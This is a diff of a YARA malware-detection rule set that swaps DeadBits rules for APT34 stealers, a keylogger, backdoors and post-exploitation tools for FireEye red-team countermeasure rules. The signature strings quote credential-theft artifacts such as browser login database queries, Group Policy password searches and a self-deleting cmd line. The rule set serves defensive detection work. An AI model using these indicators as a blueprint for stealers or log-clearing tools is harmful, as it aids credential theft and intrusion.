-		$scan0 = "Scan_run"
-		$scan1 = "scan_nexus"
-		$scan2 = "scan_couchdb"
-		$scan3 = "scan_jenkins"
-		$scan4 = "scan_laravel"
-		$scan5 = "scan_redis"
-		$exploit01 = "CVE_2015_4335"
-		$exploit02 = "CVE_2018_1000861"
-		$exploit03 = "CVE_2018_8007"
-		$exploit04 = "CVE_2019_1014"
-		$exploit05 = "CVE_2019_11581"
-		$exploit06 = "CVE_2019_7238"
-		$pwn0 = "pwn_couchdb"
-		$pwn1 = "pwn_jenkins"
-		$pwn2 = "pwn_jira"
-		$pwn3 = "pwn_nexus"
-		$pwn4 = "pwn_redis"
-		$pwn5 = "pwn_exim"
-		$payload = /payload(s)/ nocase
-		$jira_token = "atlassian.xsrf.token=%s" ascii fullword
-		$jira_cmd = "set ($cmd=\"%s\")" ascii fullword
-		$jira_id = "JSESSIONID=%s" ascii fullword
+		$s1 = "class CMDEXEC" nocase
+		$s2 = "class RemoteShell" nocase
+		$s3 = "self.services_names"
+		$s4 = "import random"
+		$s6 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]%CoMSpEC%[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase
+		$s7 = /self\.__serviceName[\x09\x20]{0,32}=[\x09\x20]{0,32}self\.services_names\[random\.randint\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}len\(self\.services_names\)[\x09\x20]{0,32}-[\x09\x20]{0,32}1\)\]/
 
 	condition:
-		uint32be(0x0)==0x7f454c46 and $py0 and (( all of ($pwn*) and all of ($scan*)) or ($payload and all of ($jira*) and 5 of ($str*)) or ( all of ($str*) and all of ($exploit*)))
+		all of them
 }
-rule DEADBITS_Redghost_Linux : POSTEXPLOITATION LINUXMALWARE
+rule FIREEYE_RT_Methodology_OLE_CHARENCODING_2 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "f598e115-f821-5932-aa14-5254bf28092c"
-		date = "2019-08-07"
-		modified = "2019-08-08"
-		reference = "https://github.com/d4rk007/RedGhost/"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/RedGhost_Linux.yara#L1-L45"
-		license_url = "N/A"
-		logic_hash = "0b12a0eda0a3b65c3da787770afb010eb5cd36426d41c04aca862ae1b01ab770"
-		score = 75
-		quality = 80
-		tags = "POSTEXPLOITATION, LINUXMALWARE"
-		Author = "Adam M. Swanda"
+		description = "Looking for suspicious char encoding"
+		author = "FireEye"
+		id = "7abd1a11-7a55-50ac-aa6b-537e7c59a5ab"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/supplemental/yara/Methodology_OLE_CHARENCODING_2.yar#L4-L23"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "41b70737fa8dda75d5e95c82699c2e9b"
+		logic_hash = "20843295531dfd88934fe0902a5101c5c0828e82df3289d7f263f16df9c92324"
+		score = 65
+		quality = 75
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$name = "[ R E D G H O S T - P O S T  E X P L O I T - T O O L]" ascii
-		$feature0 = "Payloads" ascii
-		$feature1 = "SudoInject" ascii
-		$feature2 = "lsInject" ascii
-		$feature3 = "Crontab" ascii
-		$feature4 = "GetRoot" ascii
-		$feature5 = "Clearlogs" ascii
-		$feature6 = "MassinfoGrab" ascii
-		$feature7 = "CheckVM" ascii
-		$feature8 = "MemoryExec" ascii
-		$feature9 = "BanIP" ascii
-		$func0 = "checkVM(){" ascii
-		$func1 = "memoryexec(){" ascii
-		$func2 = "banip(){" ascii
-		$func3 = "linprivesc(){" ascii
-		$func4 = "dirty(){" ascii
-		$func5 = "Ocr(){" ascii
-		$func6 = "clearlog(){" ascii
-		$func7 = "conmethods(){" ascii
-		$func8 = "add2sys(){" ascii
+		$echo1 = "101;99;104;111;32;111;102;102;" ascii wide
+		$echo2 = "101:99:104:111:32:111:102:102:" ascii wide
+		$echo3 = "101x99x104x111x32x111x102x102x" ascii wide
+		$pe1 = "77;90;144;" ascii wide
+		$pe2 = "77:90:144:" ascii wide
+		$pe3 = "77x90x144x" ascii wide
+		$pk1 = "80;75;3;4;" ascii wide
+		$pk2 = "80:75:3:4:" ascii wide
+		$pk3 = "80x75x3x4x" ascii wide
 
 	condition:
-		( uint16be(0x0)==0x2321 and for any i in (0..64) : ( uint16be(i)==0x2f62 and uint8(i+2)==0x68)) and ($name or 5 of them )
+		( uint32(0)==0xe011cfd0) and filesize <10MB and any of them
 }
-rule DEADBITS_Silenttrinity_Delivery_Document : FILE
+rule FIREEYE_RT_Builder_MSIL_Sinfuloffice_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "be8cf8b7-d7f8-587d-b7bd-ad10796cda7c"
-		date = "2019-07-19"
-		modified = "2019-07-19"
-		reference = "https://countercept.com/blog/hunting-for-silenttrinity/"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/SilentTrinity_Delivery.yara#L1-L30"
-		license_url = "N/A"
-		logic_hash = "1efaa317dd250fa127b134ff8e6e6ac48d1056059256f790925d2315a6865033"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SinfulOffice' project."
+		author = "FireEye"
+		id = "cf020fb3-751b-5346-8c0d-dc0a552599a3"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/production/yara/Builder_MSIL_SinfulOffice_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "b5d49a8720e4daa21e95ec66299daec42e65906017de886ea91f7bb6bfb04c77"
 		score = 75
-		quality = 80
+		quality = 73
 		tags = "FILE"
-		Description = "Attempts to detect SilentTrinity delivery documents"
-		Author = "Adam M. Swanda"
+		rev = 1
 
 	strings:
-		$s0 = "VBE7.DLL" fullword ascii
-		$s1 = "TargetPivotTable" fullword ascii
-		$s2 = "DocumentUserPassword" fullword wide
-		$s3 = "DocumentOwnerPassword" fullword wide
-		$s4 = "Scripting.FileSystemObject" fullword wide
-		$s5 = "MSXML2.ServerXMLHTTP" fullword wide
-		$s6 = "Win32_ProcessStartup " fullword ascii
-		$s7 = "Step 3: Start looping through all worksheets" fullword ascii
-		$s8 = "Step 2: Start looping through all worksheets" fullword ascii
-		$s9 = "Stringer" fullword wide
-		$s10 = "-decode -f" fullword wide
-		$s11 = "2. Da biste pogledali dokument, molimo kliknite \"OMOGU" fullword wide
+		$typelibguid0 = "9940e18f-e3c7-450f-801a-07dd534ccb9a" ascii nocase wide
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <200KB and (8 of ($s*) or all of them )
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule DEADBITS_Dacls_Trojan_Windows : FILE
+rule FIREEYE_RT_Loader_MSIL_Sharpy_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "424b2c0d-2373-5a72-9a97-52b4bfc5cdcf"
-		date = "2020-01-07"
-		modified = "2020-01-07"
-		reference = "https://github.com/deadbits/yara-rules"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/Dacls_Windows.yara#L1-L30"
-		license_url = "N/A"
-		logic_hash = "b77df7e3be9c264d6a63d40dbf49c41e9dd55b4e570c063b5710b849c36cc166"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharPy' project."
+		author = "FireEye"
+		id = "7c7bda22-bacc-5901-a650-a30c9cfcdee7"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPY/production/yara/Loader_MSIL_SharPy_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "0f73fab3905b4961b8dbeb120d45a34a2383ecdaae0296f38e34f8b7ab4aeee8"
 		score = 75
-		quality = 80
+		quality = 73
 		tags = "FILE"
-		Author = "Adam M. Swanda"
+		rev = 1
 
 	strings:
-		$fext00 = ".exe" ascii wide
-		$fext01 = ".cmd" ascii wide
-		$fext02 = ".bat" ascii wide
-		$fext03 = ".com" ascii wide
-		$str00 = "Software\\mthjk" ascii wide
-		$str01 = "WindowsNT.dll" ascii fullword
-		$str02 = "GET %s HTTP/1.1" ascii fullword
-		$str03 = "content-length:" ascii fullword
-		$str04 = "Connection: keep-alive" ascii fullword
-		$cls00 = "c_2910.cls" ascii fullword
-		$cls01 = "k_3872.cls" ascii fullword
+		$typelibguid0 = "f6cf1d3b-3e43-4ecf-bb6d-6731610b4866" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5a4d) and (( all of ($cls*)) or ( all of ($fext*) and all of ($str*)))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule DEADBITS_Dacls_Trojan_Linux
+rule FIREEYE_RT_Builder_MSIL_Sharpgenerator_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "bb83ba2b-70a3-5a0f-9588-d93b7f07f67f"
-		date = "2020-01-07"
-		modified = "2020-01-07"
-		reference = "https://github.com/deadbits/yara-rules"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/Dacls_Linux.yara#L1-L32"
-		license_url = "N/A"
-		logic_hash = "752d7daf9178e4fa20f2ce781c6ff70f83758f01479696f0808e1588da9a3d78"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGenerator' project."
+		author = "FireEye"
+		id = "ab661cba-f695-59d2-9071-9b9a90233457"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPGENERATOR/production/yara/Builder_MSIL_SharpGenerator_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "6dc0780e54d33df733aadc8a89077232baa63bf1cbe47c5d164c57ce3185dd71"
 		score = 75
-		quality = 80
-		tags = ""
-		Author = "Adam M. Swanda"
+		quality = 73
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$cls00 = "c_2910.cls" ascii fullword
-		$cls01 = "k_3872.cls" ascii fullword
-		$str00 = "{\"result\":\"ok\"}" ascii fullword
-		$str01 = "SCAN  %s  %d.%d.%d.%d %d" ascii fullword
-		$str02 = "/var/run/init.pid" ascii fullword
-		$str03 = "/flash/bin/mountd" ascii fullword
-		$str04 = "Name:" ascii fullword
-		$str05 = "Uid:" ascii fullword
-		$str06 = "Gid:" ascii fullword
-		$str08 = "PPid:" ascii fullword
-		$str09 = "session_id" ascii fullword
+		$typelibguid0 = "3f450977-d796-4016-bb78-c9e91c6a0f08" ascii nocase wide
 
 	condition:
-		uint32be(0x0)==0x7f454c46 and (( all of ($cls*)) or ( all of ($str*)))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule DEADBITS_APT34_PICKPOCKET : APT APT34 INFOSTEALER WINMALWARE FILE
+rule FIREEYE_RT_Hacktool_MSIL_SAFETYKATZ_4 : FILE
 {
 	meta:
-		description = "Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018"
-		author = "Adam Swanda"
-		id = "71db5c74-4964-5c5e-a830-242bfd0a2158"
-		date = "2019-07-22"
-		modified = "2019-07-22"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_PICKPOCKET.yara#L1-L30"
-		license_url = "N/A"
-		logic_hash = "7063cff3eb42c4468e01c9b214161cd306f7126f66650d99d43168730d1dc83a"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SafetyKatz project."
+		author = "FireEye"
+		id = "e160b75d-cc39-5e16-86e1-cba9fe64a6b6"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SAFETYKATZ/production/yara/HackTool_MSIL_SAFETYKATZ_4.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "45736deb14f3a68e88b038183c23e597"
+		logic_hash = "a02b4acea691d485f427ed26487f2f601065901324a8dcd6cd8de9502d8cd897"
 		score = 75
-		quality = 80
-		tags = "APT, APT34, INFOSTEALER, WINMALWARE, FILE"
+		quality = 73
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$s1 = "SELECT * FROM moz_logins;" ascii fullword
-		$s2 = "\\nss3.dll" ascii fullword
-		$s3 = "SELECT * FROM logins;" ascii fullword
-		$s4 = "| %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');" ascii fullword
-		$s5 = "\\Login Data" ascii fullword
-		$s6 = "%s\\Mozilla\\Firefox\\profiles.ini" ascii fullword
-		$s7 = "Login Data" ascii fullword
-		$s8 = "encryptedUsernamencryptedPasswor" ascii fullword
-		$s10 = "%s\\Mozilla\\Firefox\\%s" ascii fullword
-		$s11 = "encryptedUsername" ascii fullword
-		$s12 = "2013-12-06 14:53:30 27392118af4c38c5203a04b8013e1afdb1cebd0d" ascii fullword
-		$s13 = "27392118af4c38c5203a04b8013e1afdb1cebd0d" ascii
-		$s15 = "= 'table' AND name!='sqlite_sequence'   AND coalesce(rootpage,1)>0" ascii fullword
-		$s18 = "[*] FireFox :" fullword wide
-		$s19 = "[*] Chrome :" fullword wide
-		$s20 = "username_value" ascii fullword
+		$typelibguid1 = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and (8 of them or all of them )
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
 }
-rule DEADBITS_Avemaria_Warzone : AVEMARIA WARZONE WINMALWARE INFOSTEALER FILE
+rule FIREEYE_RT_Hacktool_MSIL_Keepersist_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "1e03927b-d59c-5e1f-bdee-e44dfb172fad"
-		date = "2019-07-18"
-		modified = "2019-08-08"
-		reference = "https://github.com/deadbits/yara-rules"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/avemaria_warzone.yara#L1-L32"
-		license_url = "N/A"
-		logic_hash = "1fe55fc8ea80616b11757193c2c74b9cf577ab661ddca4c6c64cfad63a300614"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeePersist' project."
+		author = "FireEye"
+		id = "950a4744-2696-5eb7-8524-7f689cb5dbb0"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEPERSIST/production/yara/HackTool_MSIL_KeePersist_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "eae67c77a64ca07f9ef59a356bb2c3f3131f14e7f17c898ef8857a21090ace0e"
 		score = 75
-		quality = 80
-		tags = "AVEMARIA, WARZONE, WINMALWARE, INFOSTEALER, FILE"
-		Author = "Adam M. Swanda"
+		quality = 73
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$str1 = "cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q " ascii fullword
-		$str2 = "MsgBox.exe" wide fullword
-		$str4 = "\\System32\\cmd.exe" wide fullword
-		$str6 = "Ave_Maria" wide
-		$str7 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" ascii fullword
-		$str8 = "SMTP Password" wide fullword
-		$str11 = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide fullword
-		$str12 = "\\sqlmap.dll" wide fullword
-		$str14 = "SELECT * FROM logins" ascii fullword
-		$str16 = "Elevation:Administrator!new" wide
-		$str17 = "/n:%temp%" ascii wide
+		$typelibguid0 = "1df47db2-7bb8-47c2-9d85-5f8d3f04a884" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB) and (5 of ($str*) or all of them )
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule DEADBITS_APT34_LONGWATCH : APT34 WINMALWARE KEYLOGGER FILE
+rule FIREEYE_RT_Loader_MSIL_Allthethings_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "74a6a408-2f0e-567d-8968-c304d258df81"
-		date = "2019-07-22"
-		modified = "2019-07-22"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_LONGWATCH.yara#L1-L43"
-		license_url = "N/A"
-		logic_hash = "8f9ed228325800baea3a2874c71337709c04d93419d4d56821a791dbce6f4582"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'AllTheThings' project."
+		author = "FireEye"
+		id = "1805b406-2531-56bf-8e08-e63a59ffcc84"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ALLTHETHINGS/production/yara/Loader_MSIL_AllTheThings_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "e3058095f2a49f8c0f78cb392024795367609b04c1da80210ab8d72c6613ee71"
 		score = 75
-		quality = 78
-		tags = "APT34, WINMALWARE, KEYLOGGER, FILE"
-		Description = "APT34 Keylogger"
+		quality = 73
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$log = "c:\\windows\\temp\\log.txt" ascii fullword
-		$clipboard = "---------------CLIPBOARD------------" ascii fullword
-		$func0 = "\"Main Invoked.\"" ascii fullword
-		$func1 = "\"Main Returned.\"" ascii fullword
-		$logger3 = ">---------------------------------------------------" ascii fullword
-		$logger4 = "[ENTER]" ascii fullword
-		$logger5 = "[CapsLock]" ascii fullword
-		$logger6 = "[CRTL]" ascii fullword
-		$logger7 = "[PAGE_UP]" ascii fullword
-		$logger8 = "[PAGE_DOWN]" ascii fullword
-		$logger9 = "[HOME]" ascii fullword
-		$logger10 = "[LEFT]" ascii fullword
-		$logger11 = "[RIGHT]" ascii fullword
-		$logger12 = "[DOWN]" ascii fullword
-		$logger13 = "[PRINT]" ascii fullword
-		$logger14 = "[PRINT SCREEN]" ascii fullword
-		$logger15 = "[INSERT]" ascii fullword
-		$logger16 = "[SLEEP]" ascii fullword
-		$logger17 = "[PAUSE]" ascii fullword
-		$logger18 = "[TAB]" ascii fullword
-		$logger19 = "[ESC]" ascii fullword
-		$logger20 = "[DEL]" ascii fullword
-		$logger21 = "[ALT]" ascii fullword
+		$typelibguid0 = "542ccc64-c4c3-4c03-abcd-199a11b26754" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and $log and all of ($func*) and all of ($logger*) and $clipboard
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule DEADBITS_Acbackdoor_ELF : LINUX MALWARE BACKDOOR
+rule FIREEYE_RT_Hacktool_MSIL_Keefarce_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam M. Swanda"
-		id = "82eb41bf-cd1d-5b00-973b-31a79c75cfc0"
-		date = "2019-11-04"
-		modified = "2019-12-04"
-		reference = "https://www.intezer.com/blog-acbackdoor-analysis-of-a-new-multiplatform-backdoor/"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/ACBackdoor_Linux.yara#L1-L41"
-		license_url = "N/A"
-		logic_hash = "48d741fba86cdfc8aac779d4b3227d45a17e0e9fba74b19820f1b8308bb93322"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeeFarce' project."
+		author = "FireEye"
+		id = "c17add0c-e09f-5ced-a4e1-bf60afad4725"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEFARCE/production/yara/HackTool_MSIL_KeeFarce_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "8db86230849137608880dbe448737fc70068d308772e294cc69301b18ae10908"
 		score = 75
-		quality = 55
-		tags = "LINUX, MALWARE, BACKDOOR"
+		quality = 73
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$ua_str = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" ascii fullword
-		$header1 = "Access-Control:" ascii fullword
-		$header2 = "X-Access" ascii
-		$initd = "/etc/init.d/update-notifier" ascii fullword
-		$str001 = "#!/bin/sh -e" ascii fullword
-		$str002 = "### BEGIN INIT INFO" ascii fullword
-		$str003 = "# Provides:          update-notifier" ascii fullword
-		$str004 = "# Required-Start:    $local_fs" ascii fullword
-		$str005 = "# Required-Stop:" ascii fullword
-		$str006 = "# Default-Start:     S" ascii fullword
-		$str007 = "# Default-Stop:" ascii fullword
-		$str008 = "### END INIT INFO" ascii fullword
-		$str010 = "  *) echo \"Usage: $0 {start|stop|restart|force-reload}\" >&2; ;;" ascii fullword
-		$str011 = "esac" ascii fullword
-		$str012 = "[ -x /usr/local/bin/update-notifier ] \\" ascii fullword
-		$str013 = "    && exec /usr/local/bin/update-notifier" ascii fullword
-		$rcd01 = "/etc/rc2.d/S01update-notifier" ascii fullword
-		$rcd02 = "/etc/rc3.d/S01update-notifier" ascii fullword
-		$rcd03 = "/etc/rc5.d/S01update-notifier" ascii fullword
+		$typelibguid0 = "17589ea6-fcc9-44bb-92ad-d5b3eea6af03" ascii nocase wide
 
 	condition:
-		( uint32be(0x0)==0x7f454c46) and (($ua_str and all of ($header*) and $initd and all of ($rcd*)) or ($ua_str and all of ($header*) and 10 of ($str*)))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule DEADBITS_APT34_VALUEVAULT : APT34 INFOSTEALER WINMALWARE FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_Adpasshunt_2 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "11d08fe7-9080-5393-b566-6f01e3eec18b"
-		date = "2020-02-02"
-		modified = "2020-02-02"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/APT34_VALUEVAULT.yara#L1-L63"
-		license_url = "N/A"
-		logic_hash = "311eed153920b29b8d9e99651fe62259d685140d12bb073001e0576811a01198"
-		score = 75
-		quality = 78
-		tags = "APT34, INFOSTEALER, WINMALWARE, FILE"
-		Description = "Information stealing malware used by APT34, written in Go."
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "a3b12fd7-e82d-5ef0-9125-7c069cd9bec4"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ADPASSHUNT/production/yara/APT_HackTool_MSIL_ADPassHunt_2.yar#L4-L23"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
+		logic_hash = "e2dc7db1860eef04a569f007c32abd507dd588d1392613efbb31f42ca66ff735"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$fsociety = "fsociety.dat" ascii
-		$powershell = "New-Object -ComObject Shell.Application" ascii
-		$gobuild = "Go build ID: " ascii
-		$gopath01 = "browsers-password-cracker" ascii nocase
-		$gopath02 = "main.go" ascii nocase
-		$gopath03 = "mozilla.go" ascii nocase
-		$gopath04 = "ie.go" ascii nocase
-		$str1 = "main.Decrypt" ascii fullword
-		$str3 = "main.NewBlob" ascii fullword
-		$str4 = "main.CheckFileExist" ascii fullword
-		$str5 = "main.CopyFileToDirectory" ascii fullword
-		$str6 = "main.CrackChromeBased" ascii fullword
-		$str7 = "main.CrackIE" ascii fullword
-		$str8 = "main.decipherPassword" ascii fullword
-		$str9 = "main.DecodeUTF16" ascii fullword
-		$str10 = "main.getHashTable" ascii fullword
-		$str11 = "main.getHistory" ascii fullword
-		$str12 = "main.getHistoryWithPowerShell" ascii fullword
-		$str13 = "main.getHistoryFromRegistery" ascii fullword
-		$str14 = "main.main" ascii fullword
-		$str15 = "main.DecryptAESFromBase64" ascii fullword
-		$str16 = "main.DecryptAES" ascii fullword
-		$str17 = "main.CrackMozila" ascii fullword
-		$str18 = "main.decodeLoginData" ascii fullword
-		$str19 = "main.decrypt" ascii fullword
-		$str20 = "main.removePadding" ascii fullword
-		$str21 = "main.getLoginData" ascii fullword
-		$str22 = "main.isMasterPasswordCorrect" ascii fullword
-		$str23 = "main.decrypt3DES" ascii fullword
-		$str24 = "main.getKey" ascii fullword
-		$str25 = "main.manageMasterPassword" ascii fullword
-		$str26 = "main.getFirefoxProfiles" ascii fullword
-		$str27 = "main._Cfunc_DumpVault" ascii fullword
-		$str28 = "main.CrackIEandEdgeNew" ascii fullword
-		$str29 = "main.init.ializers" ascii fullword
-		$str30 = "main.init" ascii fullword
+		$s1 = "LDAP://" wide
+		$s2 = "[GPP] Searching for passwords now..." wide
+		$s3 = "Searching Group Policy Preferences (Get-GPPPasswords + Get-GPPAutologons)!" wide
+		$s4 = "possibilities so far)..." wide
+		$s5 = "\\groups.xml" wide
+		$s6 = "Found interesting file:" wide
+		$s7 = "\x00GetDirectories\x00"
+		$s8 = "\x00DirectoryInfo\x00"
 
 	condition:
-		uint16(0)==0x5a4d and ((10 of ($str*) and 3 of ($gopath*)) or ($fsociety and $powershell and $gobuild) or ($fsociety and 10 of ($str*)))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule DEADBITS_APT32_Ratsnif : APT32 TROJAN WINMALWARE FILE
+rule FIREEYE_RT_Credtheft_MSIL_Adpasshunt_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
